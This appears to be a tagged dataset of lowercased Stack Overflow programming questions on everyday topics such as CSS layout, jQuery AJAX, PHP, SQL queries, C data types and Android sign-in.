css make a div small with horizontal scrollbar compacts the content  i have a table that i want to make in small div with horizontal (on horizontal)scroll bar (for small device) i tried to add :   <pre><code>overflow-x: auto; max-height: 100vh; max-width: 200px; </code></pre>   i see the scrollbar but the div content is compacted (see picture)  plus i see vertical too which i don t want to have am i missing something    here is my code <a href= https://jsfiddle.net/zzahcq8a/  rel= nofollow noreferrer >https://jsfiddle.net/zzahcq8a/</a>    <a href= https://i.stack.imgur.com/n5dre.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n5dre.png  alt= enter image description here ></a> <a href= https://i.stack.imgur.com/5sq5j.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5sq5j.png  alt= enter image description here ></a>,css
returning text from a function  this is the code that is working but not the way i need it too  ill explain it after.   <pre><code>getregisterfiles( regster1 ) function getregisterfiles(name) {     var request = $.ajax({         url:  /../files/users/ +name+ .ctp           type:  get           datatype:  html      });     request.fail(function(jqxhr  textstatus) {         $( #pageloading p ).html( we have experienced a problem. please try again later. );         return false;     });     request.success(function(msg) {         placedata(msg);     }); } function placedata(registerdata) {     $( #pagewrap ).html(registerdata);                       } </code></pre>   so the code above gets a .ctp file and then displays it on screen.    <strong>what i need it to do</strong>    instead of having the placedata(msg) in the success part i want to return the contents of  msg  to a variable that will initiate the function like so    <pre><code>register = getregisterfiles( register1 ); </code></pre>   i have tried using    <pre><code>return msg; </code></pre>   but it doesn t work... if i use return msg and then  alert  it it comes up as undefined.    i have no idea what todo next so any ideas will be greatly welcomed. sorry if its a complete newb mistake.    <strong>edit ---</strong> this is the code i have tried  i hope it helps to show you what i m trying to do.   <pre><code>var registerstep1 = null; var registerstep2 = null; function getregisterfiles(name) {     var request = $.ajax({         url:  /../files/users/ +name+ .ctp           type:  get           datatype:  html           error: function(jqxhr  textstatus) {             $( #pageloading p ).html( we have experienced a problem. please try again later. );             return false;         }          success: function(msg) {                 return msg;         }     }); } registerstep1 = getregisterfiles( registerstep1 ); registerstep2 = getregisterfiles( registerstep2 ); var tempinterval = setinterval(function() {      if(registerstep1 != null &amp;&amp; registerstep1 != false) {         if(registerstep2 != null &amp;&amp; registerstep2 != false) {             clearinterval(tempinterval);             placedata(registerstep1);         }     } }  100); function placedata(registerdata) {     var temptimer = 0;     temptimer = setinterval(function() {         if(controltimeup != false) {             $( #pagewrap ).html(registerdata);             methodtofixlayout();             $( #pagewrap ).fadein( slow );             $( #pageloading ).css( display   none )             clearinterval(temptimer);         }     }  10) } </code></pre>,jquery
making local variable accessible by creating callback default value parm <pre><code>function foo1(var1  var2) {             foo2(var1  function(result){         console.log(var2)                  });    }          </code></pre>   as far as i understand the code above would return a typeerror saying that var2 is undefined. the general solution i found is passing the desired variable (var2) to foo2 and change foo2 to send var2 to the callback. this will work but changing foo2 to accommodate the need of one function isn t  i think  a good solution  because it makes foo2 lose it generic purpose.         i thought that doing something like change callback function to include var2 as a default value would solve:   <pre><code>function foo1(var1  var2) {     foo2(var1  function(result  var2=var2){         console.log(var2)                  });    }  </code></pre>   this way  when foo2 call the passed callback function  it wouldn t need to send the third parm once once this has a default value defined. but this doesn t seem to work. can anybody help me to found the best approach      i m perhaps asking a basic question but  please  bear in mind that i m very new to node and js world in general.,javascript
passing the argument name while calling function in javascript  i have a function which looks like this:   <pre><code>function helo(a b){     if(a)     {        //do something     }     if(b)     {        //do something     } } </code></pre>   now if i want to specify which parameter has to be passed while calling helo  how do i do it in javascript  i.e    if i want to send only parameter b  how do i call the function helo    <pre><code>helo(parameterb);  </code></pre>   right now parameter a takes the value,javascript
ios run particular installed game from my app running in guided access  i am developing an app for ipad which will run in guided access. in this app i have a entertainment tab which will open particular game installed on device and user should also get back to app again when exits. this all should run in guided access only. is it possible to use custom url scheme in guided access  and what if i don t know the url of that particular game     please help.,ios
foreign key will not add  a foreign key will just not add in mysql.    i checked the parent is a primary key. the child is indexed.  they are both int.    here s the code  which strangely worked earlier  there are three previous relationships defined.    i got this from s.o.    alter table domains   add constraint ftttttttt   foreign key (fast_id)    references fasttrans(fast_id);,mysql
how do find and replace string with python  there is an string like this   <pre><code>100usable by everybody: design principles for accessibility on mac os x 101what s new in cocoa touch 102what s new in foundation for ios 4 103ipad and iphone user interface design 104designing apps with scroll views 308developing your app with xcode 4 309advanced performance analysis with instruments 419opengl es tuning and optimization 420opengl for mac os x 421incorporating the camera and photo library in your app 422taking advantage of multiple gpus </code></pre>   i want to find all number substring  so i get an set of number string，one of them will be like ‘100’. then i modify it  append  \n-   before it. so finally i will get an string like this   <pre><code>- 100 usable by everybody: design principles for accessibility on mac os x  - 101 what s new in cocoa touch  - 102 what s new in foundation for ios 4  - 103 ipad and iphone user interface design  - 104 designing apps with scroll views - 308 developing your app with xcode 4  - 309 advanced performance analysis with instruments  - 419 opengl es tuning and optimization  - 420 opengl for mac os x  - 421 incorporating the camera and photo library in your app  - 422 taking advantage of multiple gpus </code></pre>   how can i do this with python  please help. thanks very much.   <hr>   after find the number substring  i use it. for example  i find  100   then it will be replace with  \n - 100  .,python
how could user input be pulled from a text box and previewed in another window   i am currently doing some web design work for a company  and i ve come into an issue i can t solve.    when a customer buys something from my employers site  they have the opportunity to customise text that appears on their product. is there any way to pull user inputted text and display it in another window,html
how to calculate button counts of a html page   i have a html page  source code is given below -   <pre><code>&lt;html&gt; &lt;script type= text/javascript &gt; function jsmeth() {         alert( count of buttons :  +document.getelementsbytagname( button ).length); } &lt;/script&gt; &lt;input type= button  value= button 1  id= btn1  name= btn1  /&gt;&lt;br&gt; &lt;input type= button  value= butto 2  id= btn2  name= btn2  /&gt;&lt;br&gt;&lt;br&gt; &lt;input type= button  value= calculate button count  id= btn3  name= btn3  onclick= jsmeth(); /&gt; &lt;/html&gt; </code></pre>   my basic purpose is  when i click on button having id  btn3   it should display number of buttons in my html page (in this case 3). but somehow it is always showing 0.   <hr>   thanks for your quick reply. as all of you suggested  i have modified my code as shown below -   <pre><code>&lt;html&gt; &lt;script type= text/javascript &gt; function jsmeth() {         alert( count of buttons :  +document.queryselectorall( [type=button] ).length); } &lt;/script&gt; &lt;input type= button  value= button 1  id= btn1  name= btn1  /&gt;&lt;br&gt; &lt;input type= button  value= butto 2  id= btn2  name= btn2  /&gt;&lt;br&gt;&lt;br&gt; &lt;input type= button  value= calculate button count  id= btn3  name= btn3  onclick= jsmeth(); /&gt; &lt;/html&gt; </code></pre>   but now i am getting below error -   <pre><code>message: object doesn t support this property or method line: 4 char: 9 code: 0 uri: file:///c:/documents%20and%20settings/556996/desktop/demohtml.html </code></pre>   i am testing in ie8. please help!    thanks  kartic,html
how to prevent a user from using  view source  to look at my php code and copy it   how can i prevent a user from using  view source  to look at my php code and copy it     thanks,php
libev c++ wrapper function_thunk <pre><code>void set_ (const void *data  void (*cb)(ev_p_ ev_watcher *w  int revents)) throw () {   this-&gt;data = (void *)data;   ev_set_cb (static_cast&lt;ev_watcher *&gt;(this)  cb); }  // function callback template&lt;void (*function)(watcher &amp;w  int)&gt; void set (void *data = 0) throw () {   set_ (data  function_thunk&lt;function&gt;); }  template&lt;void (*function)(watcher &amp;w  int)&gt; static void function_thunk (ev_p_ ev_watcher *w  int revents) {   function     (*static_cast&lt;watcher *&gt;(w)  revents); } </code></pre>   hi      i m using libev s c++ wrapper ev++.h. there is this piece of code in ev++.h that i know how to use as an api  but don t fully understand.  i can set up a ctrl-c watcher in the event loop as follows:    <pre><code>ev::sig signal_watcher(evloop);  signal_watcher.set&lt;sigint_cb&gt;();  signal_watcher.start(sigint);  </code></pre>   where sigint_cb s function signature is :    <pre><code>void sigint_cb(ev::sig &amp;w  int revents) </code></pre>   can someone explain why <strong>function_thunk</strong> can magically cast my sigint_cb function signature to    <pre><code>void (*cb)(ev_p_ ev_watcher *w  int revents) </code></pre>   what c++ sorcery is this   thanks.,c++
get list of installed application on device in ios  i want retrive all the application that are present(available) on the device either iphone/ipad please help me with sample code.,ios
set subtraction while retaining order  i know with set subtraction i can do the following:   <pre><code>l2 = set([4 3 5 2]) l1 = set([3 8]) l2 - l1 set([2  4  5]) </code></pre>   how would i do this same thing  while keeping the ordering in <code>l1</code>. for example:   <pre><code>l2 = [4 3 5 2]  l1 [3 8] # remove 3  keep other ordering l2 - l1 [4 5 2] </code></pre>,python
javascript countdown timer repeat and count total that repeat  i have javascript countdown timer from 25 -> 0.   <pre><code>var count=25;  var counter=setinterval(timer  1000); //1000 will  run it every 1 second  function timer() {   count=count-1;   if (count &lt;= 0)   {     clearinterval(counter);     return;    }   document.getelementbyid( timer ).innerhtml=count; // watch for spelling  } </code></pre>   div html   <pre><code>&lt;span id= timer &gt;25&lt;/span&gt; </code></pre>   now i want the countdown is repeat automatically after wait 5 seconds then it start again from 25 -> 0. and i want to count how many times that countdown repeat. is it possible for that     please help.,javascript
angularjs why values not binding in dropdown during the edit mode  <strong>here i m fetching data from database using joins query here im joining 3-tables(accessors countrys states).when im getiing data display its in table upto this everything fine..but when i clicked on edit button the modal-pop up blows &amp; binding data but not binding country state values within dropdown</strong>     <strong>link query</strong>   <pre><code>    public jsonresult getassdata()             {                 var x = (from n in db.accessors  join ctr in db.countrys on n.countryid equals ctr.countryidzjoin sts in db.states on n.stateid equals sts.stateid    select new{ n.id n.name ctr.countryid ctr.countryname sts.statename});  return new jsonresult { data = x  jsonrequestbehavior = jsonrequestbehavior.allowget };}  public jsonresult editser(int id = 0){ var x = (from n in db.accessors where n.id == id   join ctr in db.countrys on n.countryid equals ctr.countryid   join sts in db.states on n.stateid equals sts.stateid   select new{ n.id  n.name ctr.countryname sts.statename}); return new jsonresult { data = x  jsonrequestbehavior = jsonrequestbehavior.allowget };}  public jsonresult bindctry(){   var x = from n in db.countrys select n;   return new jsonresult { data = x  jsonrequestbehavior = jsonrequestbehavior.allowget };}        public jsonresult bindstates(int id=0)             {      var x = from n in db.states where n.countryid ==id select n;  return new jsonresult { data = x  jsonrequestbehavior = jsonrequestbehavior.allowget };} </code></pre>   <strong>angularjs</strong>   <pre><code>app.service( mybindserviceservice   function ($http) {      this.getass = function () {         var xx = $http({             url:  /bindctrl/getassdata               method:  get               params: json.stringify()              content: {  content-type :  application/json  }         })         return xx;     }       this.editassfun = function (id) {          alert( enter in edit ser )         var sts = $http({             url:  /bindctrl/editser               method:  get               params: {                 id: json.stringify(id)             }         });         return sts;     } }); app.controller( mybindcntrls   function ($scope  mybindserviceservice) {     getassusdata();     function getassusdata() {         var xxx = mybindserviceservice.getass();         xxx.then(function (d) {             $scope.access = d.data;         })     }      $scope.editemp = function (emp) {         alert( in editmodes )         var sss = mybindserviceservice.editassfun(emp.id);         sss.then(function (d) {             $scope.id = emp.id;             $scope.name = emp.name;             $scope.countryname = emp.countryname;             $scope.statename = emp.statename;             $scope.validaction =  update ;             $( #modalpopup ).modal( show );         })     } }) </code></pre>   <strong>employee.cshtml</strong>   <pre><code>&lt;div ng-controller= mybindcntrls &gt;     &lt;table class= table table-bordered &gt;         &lt;tr&gt;             &lt;th&gt;&lt;b&gt;id&lt;/b&gt;&lt;/th&gt;             &lt;th&gt;&lt;b&gt;name&lt;/b&gt;&lt;/th&gt;                     &lt;th&gt;&lt;b&gt;countryname&lt;/b&gt;&lt;/th&gt;             &lt;th&gt;&lt;b&gt;statename&lt;/b&gt;&lt;/th&gt;           &lt;/tr&gt;          &lt;tr ng-repeat= accessor in access &gt;             &lt;td&gt;{{accessor.id}}&lt;/td&gt;             &lt;td&gt;{{accessor.name}}&lt;/td&gt;             &lt;td&gt;{{accessor.countryname}}&lt;/td&gt;             &lt;td&gt;{{accessor.statename}}&lt;/td&gt;              &lt;td&gt;                 &lt;button type= button  class= btn btn-success btn-sm  value= edit  ng-click= editemp(accessor) &gt;&lt;span class= glyphicon glyphicon-pencil &gt;&lt;/span&gt;&lt;/button&gt;              &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;div class= modal  id= modalpopup &gt;         &lt;div class= modal-dialog &gt;             &lt;div class= modal-content &gt;                 &lt;div class= modal-header &gt;                     &lt;button class= close  data-dismiss= modal &gt;&amp;times;&lt;/button&gt;                     &lt;h3&gt;{{msg}}login details&lt;/h3&gt;                 &lt;/div&gt;                  &lt;div class= modal-body &gt;                     &lt;form novalidate name= f1  ng-submit= savedb(ass) &gt;                         &lt;div&gt;                             {{errormsg}}                         &lt;/div&gt;                         &lt;div class= form-horizontal &gt;                             &lt;div class= form-group &gt;                                 &lt;div class= row &gt;                                     &lt;div class= col-sm-2  style= margin-left:20px &gt;                                         name                                     &lt;/div&gt;                                     &lt;div class= col-sm-8 &gt;                                         &lt;input type= text  class= form-control  name= nam  ng-model= name  ng-class= submittes  ng-dirty :    required autofocus /&gt;                                         &lt;span class= error  ng-show= (f1.nam.$dirty || submittes) &amp;&amp; f1.nam.$error.required &gt;enter name&lt;/span&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                              &lt;div class= form-group &gt;                                 &lt;div class= row &gt;                                     &lt;div class= col-sm-2  style= margin-left:20px &gt;                                         country                                     &lt;/div&gt;                                     &lt;div class= col-sm-8 &gt;                                         &lt;select class= form-control  ng-options= i.stateid as i.statename for i in statelist  ng-init= stateid  ng-change= getstates()  ng-class= submittes  ng-dirty :    required&gt;                                              &lt;option data-ng-repeat= state in countrylist  value= {{state.countryid}} &gt;{{state.countryname}}f&lt;/option&gt;                                         &lt;/select&gt;                                      &lt;/div&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                              &lt;div class= form-group &gt;                                 &lt;div class= row &gt;                                     &lt;div class= col-sm-2  style= margin-left:20px &gt;                                         state                                     &lt;/div&gt;                                     &lt;div class= col-sm-8 &gt;                                         &lt;select class= form-control  name= cntrsy  ng-options= i.countryid as i.countryname for i in countrylist  ng-init= countryname  ng-model= countryid  ng-change= getstates()  ng-class= submittes  ng-dirty :    required&gt;                                              &lt;option data-ng-repeat= state in countrylist  value= {{state.countryid}} &gt;{{state.countryname}}f&lt;/option&gt;                                         &lt;/select&gt;                                      &lt;/div&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;div class= modal-footer &gt;                             &lt;input type= submit  class= btn btn-sm btn-success pull-right  value= {{validaction}}  ng-class= saveandsubmit()  /&gt;                       &lt;/div&gt;                     &lt;/form&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
how to change color of checkedlistbox selected value in asp.net  i need to search item with text box .if it founds we need to highlight that item in a checked list box.i tried as below     <code>clbitems.items[foundindex].attributes.add( style    background-color:#bbbbbb; color: white; );</code>    its working by removing update panel.    i have following code in    <pre><code> for (int itemcount = 0; itemcount &lt; (p as checkboxlist).items.count; itemcount++)                                         {                                             if ((p as checkboxlist).items[itemcount].text.toupper().startswith(txtclientsearch.text.toupper()))                                             {                                                 listitem lst1 = new listitem((p as checkboxlist).items[itemcount].text);                                                 (p as checkboxlist).items.removeat(itemcount);                                                 (p as checkboxlist).items.insert(0  lst1);                                                 (p as checkboxlist).items[0].attributes.add( style    background-color:yellow;color:red );                                             }                                          } </code></pre>   can any one suggest me the way to achieve this in javascript .    thanks   rakesh.,asp.net
how to put mutiple links in one line  i want to display 7-9 html links in one line  but whenever i add another link  the last link goes down and forms another row. i want to put them in one line. like    <pre><code>&lt;link1&gt; &lt;link2&gt;&lt;link3&gt;&lt;link4&gt;&lt;link5&gt;&lt;link6&gt;&lt;link7&gt;   &lt;li&gt;&lt;a href= adminpanel.jsp &gt;home&lt;/a&gt;                         &lt;li&gt;&lt;a href= checkin.jsp &gt;check in&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href=  &gt;check out&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;re-issue&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;!--movies er drop down--&gt;                             &lt;a href= # &gt;student&lt;span class= arrow &gt;&amp;#9660;&lt;/span&gt;&lt;/a&gt;                              &lt;ul class= sub-menu &gt;                                 &lt;li&gt;&lt;a href= # &gt;approve&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;fine&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;check list&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;department&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt;                         &lt;/li&gt;                          &lt;li&gt;&lt;a href= # &gt;faculty&lt;span class= arrow &gt;&amp;#9660;&lt;/span&gt;&lt;/a&gt;                             &lt;ul class= sub-menu &gt;                                 &lt;li&gt;&lt;a href= # &gt;books issued&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;search&lt;/a&gt;&lt;/li&gt;                              &lt;/ul&gt;                         &lt;/li&gt;                          &lt;li&gt; &lt;a href= # &gt;search&lt;span class= arrow &gt;&amp;#9660;&lt;/span&gt;&lt;/a&gt;                              &lt;ul class= sub-menu &gt;                                 &lt;li&gt;&lt;a href= # &gt;student&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;faculty&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;books&lt;/a&gt;&lt;/li&gt;                                 &lt;li&gt;&lt;a href= # &gt;history&lt;/a&gt;&lt;/li&gt;                             &lt;/ul&gt; </code></pre>,html
better method to write a long logical condition in php  how could i improve the following statement:   <pre><code>if(!empty($var1) &amp;&amp; !empty($var2) &amp;&amp; !empty($var3) &amp;&amp; !empty($var4) &amp;&amp; !empty($var5) &amp;&amp; !empty($var6) &amp;&amp; !empty($var7)....) </code></pre>   is there a php function that allows chaining of logical conditions     thanks for your suggestions.,php
looping through nested list of object to find properties in c#  i have an object model like this:   <pre><code>public class myclass {   int theprop {get;set;}   list&lt;object1&gt; thelistofobject1 {get;set;}   list&lt;object2&gt; thelistofobject2 {get;set;}   list&lt;object3&gt; thelistofobject3 {get;set;}     list&lt;object4&gt; thelistofobject4 {get;set;} } </code></pre>   now some the the nested objects contain a property called myfield and some of the lists might have objects in them and some don t.    i m looking to loop through every list and if the objects in the list contain the property myfield then set that property to 1.    what s the best way to do this  i could hard-code the loop and only loop through the lists for which i know there s the property i m looking for and then test if the list has a count > 0 but if i then add another list of nested object i d have to rewrite that part too. what s a more general way to do it     thanks.,c#
html: put an image between halfway and right side of the screen  i m trying to place an image around halfway between the middle of the screen and all the way on the right side (which is where it is right now).    the html code:   <pre><code>&lt;img src= jeremy.png  alt= jeremy smith  width= 100  height= 100  style= float:right &gt; </code></pre>   is there any way to float the image in 3/4 of the way to the right  or something like that,html
sql query based on criteria  it s working if all the feilds is entered by user. i need a code that combine all the sql command. user may enter in the one field or two field or all the three fields. i need to search the database with one field query or two feild query or three feilds query.    i have try it with where help is a table &amp; search-test is form &amp; contract no username &amp; date of feild in database and forms.     where the help(table).cont_no(field) is equal or not equal to search-test(form name).cont_no(text box field)   <pre><code>select *  from   help  where  ( forms ! [search-test] ! cont_no =               or help.cont_no = forms ! [search-test] ! cont_no )         and ( forms ! [search-test] ! username =                   or help.username = forms ! [search-test] ! username )         and ( forms ! [search-test] ! cbo_date =                   or help.date = forms ! [search-test] ! cbo_date ); </code></pre>,sql
check if number already exist in row mysql database <pre><code>&lt; php date_default_timezone_set( asia/manila ); $conn=mysql_connect( localhost   root    );     mysql_select_db( dbposo  $conn);   if(isset($_post[ add ])) {       if( empty($_post[ fname ]) || empty($_post[ mname ]) || empty($_post[ lname ]))     {         echo  &lt;script&gt;alert( please fill up all the fields! )&lt;/script&gt; ;         header( refresh: 0;url=admin_publicviolation.php );     }   else     {         $number=$_post[ number ];         $fname=$_post[ fname ];         $mname=$_post[ mname ];         $lname=$_post[ lname ];         $age=$_post[ age ];         $gender=$_post[ gender ];         $violation=$_post[ violation ];         $officer=$_post[ officer ];         $offenses=$_post[ offenses ];         $date=date( y-m-d );         $time=date( h:i:s );         $price=$_post[ price ];          mysql_query( insert into tblcitizen(number fname mname lname age gender violation officer offenses date time  price) values( $number   $fname   $mname    $lname    $age    $gender    $violation     $officer    $offenses   $date   $time   100 )  $conn) or die(mysql_error());          echo  &lt;script&gt;alert( successfully recorded  first penalty: 100php! )&lt;/script&gt; ;         header( refresh: 0;url=admin_publicviolation.php );     }  }   &gt; </code></pre>   i want to reject registration if the $number is already exists in the database  somebody help me  can t figure it out. i can t use some coding method. don t know how to use other,php
jquery get child element that the mouse is currently hovering over  hi i have a container div with 4 images in it. i want to set up a hover event on the container so that when i hover over the container it will tell me which image inside that container is currently being hovered. is there a way to do this  i know i can do a hover event on the images instead like <code>$( .container img ).hover()</code> but that wont work for what i need to do so it needs to work from the hover event on the container,jquery
what happens if a httpclient.execute() is interrupted   i am calling httpclient.execute() in a background thread. does it throw an ioexception  when i interrupt the thread,java
how to store decimal value of 40 digits   i have made a c program of 2^0 + 2^1 + 2^2 + 2^3 +......... 2^64. my problem is that such a big value is not being stored. which data type should i use  here is my code:   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; void main() {    int i;    int number=2;    int total=1;    int power=64;    int totalsum=1;    for(i=1;i&lt;=power;)    {       total=total*number;       totalsum=totalsum+total;       i++;    }     printf( %d\n  total);    printf( sum=%d  totalsum); } </code></pre>   kindly can you please tell me that which type of data type should i use i c language,c
python - any way of checking if number 0 or false  if i were to set a variable as false  it is read as being equal to zero. is there any way i can carry out a check to see if the variable if actually false or if it s the number 0.    something like:   <pre><code>spam = false  if spam == false and not spam == 0:     do something </code></pre>   i m getting the feeling this isn t possible; but i wanted to double check.     side note: in the future would it be better to assign  none  rather than  false  when a variable could be zero  for the current code i don t want to have to rework the whole script with try and excepts  so i ll change false to -1 (not a viable value for the situation). but for future reference  i assume the none method is more pythonic     help as always is appreciated and if any more details are needed  just ask.,python
eliminate all rows until certain value  i am using an older version of sybase which does not have keywords like lead.    i have a table like one shown below.   <pre> type  row   time        quantity         cat1  1      10:01:01.000     50           cat1  2      10:01.01.001     0           cat1  3      10:01:01.002    1000           cat1  4      10:01.01.003    100           cat1  5      10:01:03.001    100           </pre>   i have above data available for cat2  cat3  etc. as well. the data is arranged in increasing order of time.    i want to generate a new table from the above table where the values only starting at 10.01.01.002 and later would be present as it is the first row/time where the minimum required quantity of 1000 is satisfied. i.e. include rows 3  4  and 5 in new table as it is only at 3rd row that minimum quantity is fulfilled. the above data is for cat1  cat2  etc.    the table above is massive so i am looking for an efficient method.    thanks,sql
counting words program in c omitting double spaces and punctuation  i am doing a course on the basics of c programming  i ve been given a task to create a program that counts the number of words in a sentence  i ve achieved this  however i have a secondary task to stop the program from counting punctuation  on top of this if i type in a consecutive space i need the program to ignore it  i don t know how to get round it. could anyone point me into the right direction  i am not looking for anyone to write the code for me.    here is my code:   <pre><code>#include &lt;stdio.h&gt; int main() {     const char end =  . ;     int words = 1;     printf( please enter a sentence: \n );     char c = getchar();     while (c != end)     {         c = getchar();         if (c ==    )             words++;     }     printf( the total number of words is %d   words);     getchar();     getchar(); } </code></pre>,c
priority queue segmentation fault  i am using a priority queue with a double as the priority. i am guessing this is the cause of the issues. i used these numbers first with no issues.    34.365681 34.481879 34.539832 36.715120    i then used these numbers and had a segmentation fault.    45.411042 40.481879 37.702110 38.951187   <pre><code>struct priorityqueue     {     int x_pq;      int y_pq;     double heuristic_pq;     int priority;     int info;     struct priorityqueue *next; }*start  *q  *temp  *new;  typedef struct priorityqueue *n;  void insert(int x  int y  double heuristic) {      int item;      double itprio;     //new = ( n* ) malloc( sizeof( n ) );     new = malloc( sizeof( n ) );      itprio = heuristic;     new-&gt;x_pq = x;     new-&gt;y_pq = y;     new-&gt;heuristic_pq = itprio;      if ( start == null || itprio &lt; start-&gt;heuristic_pq )     {         new-&gt;next = start;         start = new;     }     else         {             q = start;             while ( q-&gt;next != null &amp;&amp; q-&gt;next-&gt;heuristic_pq &lt;= itprio )                 q = q-&gt;next;              new-&gt;next = q-&gt;next;             q-&gt;next = new;         } }  void del() {     if ( start == null )     {          printf(  \nqueue underflow\n  );     }     else     {     new = start;     printf(  \ndeleted item is %d\n   new-&gt;info );     start = start-&gt;next;     free( start );      }  }  void display() {     temp = start;     if ( start == null )         printf(  queue is empty\n  );      else     {         printf(  queue is:\n  );          while ( temp != null )         {             printf(  \t x is %d y is %d[heuristic=%lf] \n   temp-&gt;x_pq  temp-&gt;y_pq  temp-&gt;heuristic_pq );             temp = temp-&gt;next;         }      } } </code></pre>,c
flowdocument class .net class  what is the compatible class of <code>flowdocument</code> in c# to c++ language. and please get me a link for its corresponding documentation.,c#
insert data where all rows equals to null  is there a way to insert data where all rows are equals to null  i know it looks like    <pre><code>select login from users where login is null </code></pre>   when it return me    <pre><code>1. null 2. null 3. null </code></pre>   and so on...    how can i fill data to all this null rows,sql
unable to signup in google plus android in release apk  i am unable to signup in google plus in my android application. it is working fine in jelly bean and kitkat. it is not working in lollypop and above.    i am getting false in googlesigninresult result.success().    below is my code:   <pre><code>public class signup extends fragmentactivity implements         googleapiclient.onconnectionfailedlistener {         private imageview google_button     private googleapiclient mgoogleapiclient;     private static final string tag =  signinactivity ;     private static final int rc_sign_in = 9001;       @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);          setcontentview(r.layout.activity_sign_up);          googlesigninoptions gso = new googlesigninoptions.builder(googlesigninoptions.default_sign_in)                 .requestemail()                 .requestprofile()                 .build();           mgoogleapiclient = new googleapiclient.builder(this)                 .enableautomanage(this /* fragmentactivity */  this /* onconnectionfailedlistener */)                 .addapi(auth.google_sign_in_api  gso)                 .build();          //initializes view         initializeviews();           //facebook login end           google_button.setonclicklistener(new view.onclicklistener() {             @override             public void onclick(view view) {                 intent signinintent = auth.googlesigninapi.getsigninintent(mgoogleapiclient);                 startactivityforresult(signinintent  rc_sign_in);              }         });     }         @override     protected void onactivityresult(int requestcode  int resultcode  intent data) {         super.onactivityresult(requestcode  resultcode  data);           if (requestcode == rc_sign_in) {             googlesigninresult result = auth.googlesigninapi.getsigninresultfromintent(data);             log.e( data g+   result.tostring());             handlesigninresult(result);          }       }      private void handlesigninresult(googlesigninresult result) {           log.e(tag   handlesigninresult:  + result.issuccess());         if (result.issuccess()) {             // signed in successfully  show authenticated ui.             googlesigninaccount acct = result.getsigninaccount();             log.e( authtype    googleplus );             log.e( authid   acct.getid());             log.e( firstname   acct.getdisplayname());             log.e( middlename   acct.getdisplayname());             log.e( lastname   acct.getdisplayname());             log.e( userpic   acct.getphotourl() +   );             log.e( email   acct.getemail());              string[] displayname = acct.getdisplayname().split(   );             string firstname =   ;             string lastname =   ;             if (displayname.length == 2) {                 firstname = displayname[0];                 lastname = displayname[1];             } else {                 firstname = acct.getdisplayname();             }              string photourl =   ;             if (acct.getphotourl() != null) {                 photourl = acct.getphotourl().tostring();             }              bundle data = new bundle();             data.putstring( authtype    googleplus );             data.putstring( authid   acct.getid());             data.putstring( firstname   firstname);             data.putstring( middlename     );             data.putstring( lastname   lastname);             data.putstring( userpic   photourl);             data.putstring( email   acct.getemail());              intent intent = new intent(signup.this  register.class);             intent.putextras(data);             startactivity(intent);             finish();          } else {             // signed out  show unauthenticated ui.            }     }      @override     protected void onstart() {         super.onstart();       }      @override     protected void onstop() {         super.onstop();       }       public void initializeviews() {          register = (textview) findviewbyid(r.id.register);         fb_button = (imageview) findviewbyid(r.id.facebook_button);         google_button = (imageview) findviewbyid(r.id.google_button);       }       @override     public void onconnectionfailed(connectionresult connectionresult) {          log.e( connectionresult   connectionresult.tostring());          toast.maketext(getapplicationcontext()  getresources().getstring(r.string.server_error)  toast.length_short).show();      }  } </code></pre>,android
android custom view absolute positioning  my question is rather straightforward. i have a custom view (a rectangle)  that will be rotated  translated  and scaled ontop of its parent view (relativelayout).    my question is what is the best way to handle these transformations. should i: a: modify the customview s draw() and apply canvas transformations b: modify the layoutparams margin for left and top. c: pursue an alternate approach  given my problem set.    the rest of the problem set looks like this. 1. the custom view must be able to overlap other custom views and be able to be drawn outside the bounds of its parent view. 2. a 4 point path is generated overtop the customview s drawable that represents its collision volume. this collision volume is synchronized with the rotation and translation of the view by modifying a matrix object that is then applied on top of the volume in order to accurately handle collisions and avoid false positives. 3. this custom view object will be animated using standard animationtranslate  animationrotate  animationscale functionality. after the animation completes the original view will be transposed to its computed location postanimation.    thank you for your time experts,android
expected identifier or (  i am working on a web browser app but at the moment i am stuck with the error: expected identifier or  (   and i don t know what to do. here is the code where the error is shown:   <pre><code>{:here is the error     nsurl *url = [nsurl urlwithstring:urlstring];     nsurlrequest *urlrequest = [nsurlrequest requestwithurl:url];     [self.webview loadrequest:urlrequest]; } </code></pre>   help is appreciated.    update:    i don t know what other code i am supposed to give you so here is the whole code in the viewcontroller.m file:   <pre><code>#import  viewcontroller.h   @interface viewcontroller () @property (weak  nonatomic) iboutlet uiwebview *webview; @property (weak  nonatomic) iboutlet uibarbuttonitem *back; @property (weak  nonatomic) iboutlet uibarbuttonitem *refresh; @property (weak  nonatomic) iboutlet uibarbuttonitem *stop; @property (weak  nonatomic) iboutlet uibarbuttonitem *forward;  - (void)loadrequestfromstring:(nsstring*)urlstring;  { *here is the error:expected identifier or  ( *     nsurl *url = [nsurl urlwithstring:urlstring];     nsurlrequest *urlrequest = [nsurlrequest requestwithurl:url];     [self.webview loadrequest:urlrequest]; }  @end  @implementation viewcontroller ***here is a warning saying:method definition for  loadrequestfromstring: not found***  - (void)viewdidload {     [super viewdidload];     // do any `enter code here`additional setup after loading the view  typically from a nib.     [self loadrequestfromstring:@ http://www.apple.com/startpage/ ]; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  @end </code></pre>,iphone
